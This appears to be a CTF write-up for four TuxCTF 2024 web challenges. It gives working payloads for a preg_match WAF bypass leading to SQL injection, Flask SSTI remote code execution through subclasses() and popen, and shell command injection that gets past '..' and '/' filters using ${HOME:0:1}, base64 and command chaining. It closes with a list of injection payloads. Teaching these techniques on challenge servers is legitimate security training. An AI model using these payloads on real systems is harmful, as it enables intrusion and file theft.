TuxCTF 2024
TuxCTF 2024 web Writeups
Hello, This is the Intended solutions for TuxCTF 2024 web Challenges
Level1 Sanity Check
you just have to view the page source
The Flag:
1
tuxCTF{a1wAyS_ch3Ck_C0Mm3ntS}
Level2 can you login?
We enter the link and find a login page
And we have the source code , whats intresting is the login.php file
We find a waf function, how does preg_match works it searchs for anything but litters and numbers, so anything else will be blocked!
but preg_match is vulnerable, we can bypass it by giving it a long input, then it will not sanatize all of it and we can do sql injection!
in shell
1
python3 -c 'print("A" * 9000)'
we copy the output and put in the last of it ‘or true– ‘
and we have the flag!!!
The Flag:
1
tuxCTF{$4n1T!ze_y0Ur_qu3rIeS}
Level3 Templates
We go to the link , the page is empty, we notice the querey parameter “template”.
In the source code we discover it’s a web app with flask.
a waf that blocks some words.
A quick google search and we know that flask is vulnerable to ssti!!!
to test it we will use the payload
and success it returned 49 which means it calculated it.
we try this payload dict.__base__.__subclasses__()
we get a list of python classes, what we are intrested in is popen , if we can access it we can do anything on the server!!!
we have two ways to determine the popen class number: 1) write a python script which i will not do 2) fuzzing until we get it
on my local machine i got this dict.__base__.__subclasses__()[291]
The Full Payload:
1
dict.__base__.__subclasses__()[291]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()
The Flag:
1
tuxCTF{1s_1t_5$ti_0r_5$rf}
Level4 dots
for this challenge you also have the source code.
it’s also a flask web app, but you can only access /run_command and only send post requests to it.
open burpsuite and intercept the request.
right click in the request to change the method to POST.
if you try to send the request with anything this will be the response:
if we look back at the source code we will know that it takes the body parameters in json format.
1
data = request.get_json()
then it will look for the key “command” and sanatize the data.
1
2
3
4
5
6
7
8
9
10
if 'command' in data:
command = str(data['command'])
# Length check
if len(command) < 5:
return jsonify({'message': 'Command too short'}), 501
# Perform security checks
if '..' in command or '/' in command:
return jsonify({'message': 'Hacking attempt detected'}), 501
to be able to send json data we need to change the header content type to application/json.
then add {"command" : "hi"}
to the body of the request.
now if we send it we will get this response:
which means our payload is working.
now let’s understand how does the app work:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Find path to executable
executable_to_run = command.split()[0]
# Check if we can execute the binary
if os.access(executable_to_run, os.X_OK):
# Execute binary if it exists and is executable
out = os.popen(command).read()
return jsonify({'message': 'Command output: ' + str(out)}), 200
return jsonify({'message': 'Not implemented'}), 501
if __name__ == '__main__':
# Make sure we can only execute binaries in the executables directory
os.chdir('./executables/')
# Run server
app.run(host='0.0.0.0', port=7000)
here we can see that it will take the payload we send it, in the payload {“command” : “hi”} it will take it “hi” and then checks if it’s an executable in a direcroty named executables. we know this directory is empty from the docker file.
since the app is running on a linux machine we know that the if the file is executable it will have the “x” permission.
if we try to do the command ls -la
in a local linux machine this the output:
we notice that . and .. are executable, .. is blacklisted but . is not!
if send {"command" : "."}
we will get command to short, but if we send it with spaces {"command" : ". "}
it works !!!
the output is empty becuase the command . doesnt give anything back, but we know in linux we can do multiple commands in one line using pipe |
or a semicolon, let’s try that.
{"command" : ". | pwd"}
it works!!!
if we try {"command" : ". | ls .."}
or {"command" : ". | ls /"}
it will respond with:
to bypass this we can do alot of things, i choose to do {"command" : ". | ls .''."}
we can see that flag.txt is in the before directory, to bypass the slash restriction we can use ${HOME:0:1}
{"command" : ". | cat .''.${HOME:0:1}flag.txt"}
to understand the payload, if we run echo .''.
in any linux terminal the output will be ..
. and ${HOME:0:1}
, ${} we tell the shell to give us the output of some opreation, here we tell it to take the home path variable , which is in every linux system, then it will slice it, for example the home direcroy absolute path is /home/kali
it will take the first character which is /
, so what will be executed in the machine terminal is
1
. | cat ../flag.txt
you can find various bypassing techniques in hacktricks:
Bypass Linux Restrictions Payloads
pwned!!!
The Flag:
1
tuxCTF{d0t$_4r3_3XeCut@b13}
here is a list of all inteded payloads to solve this challenge:
1
2
3
4
5
6
7
8
{ "command" : ". | ((echo Li4vZmxhZy50eHQ= | base64 -d) | xargs cat)" }
{ "command" : ". | ((echo L3Vzci9zcmMvYXBwL2ZsYWcudHh0 | base64 -d) | xargs cat)"}
{ "command" : ". <(echo true) && cd $(dirname $PWD) && cat flag.txt" }
{ "command" : ". <(echo true) ; cd $(dirname $PWD) ; cat flag.txt" }
{ "command" : ". | cat ${HOME:0:1}usr${HOME:0:1}src${HOME:0:1}app${HOME:0:1}flag.txt" }
{ "command" : ". ; python -c 'import os;x=os.path.normpath(os.getcwd() + os.sep + os.pardir);os.chdir(x);os.system(\"cat flag.txt\")'"}
{ "command" : ". $ or | or ; cat .''.${HOME:0:1}flag.txt 2>&1"}
{ "command" : ". <(echo true) && cat .''.${HOME:0:1}flag.txt " }
happy pwning :)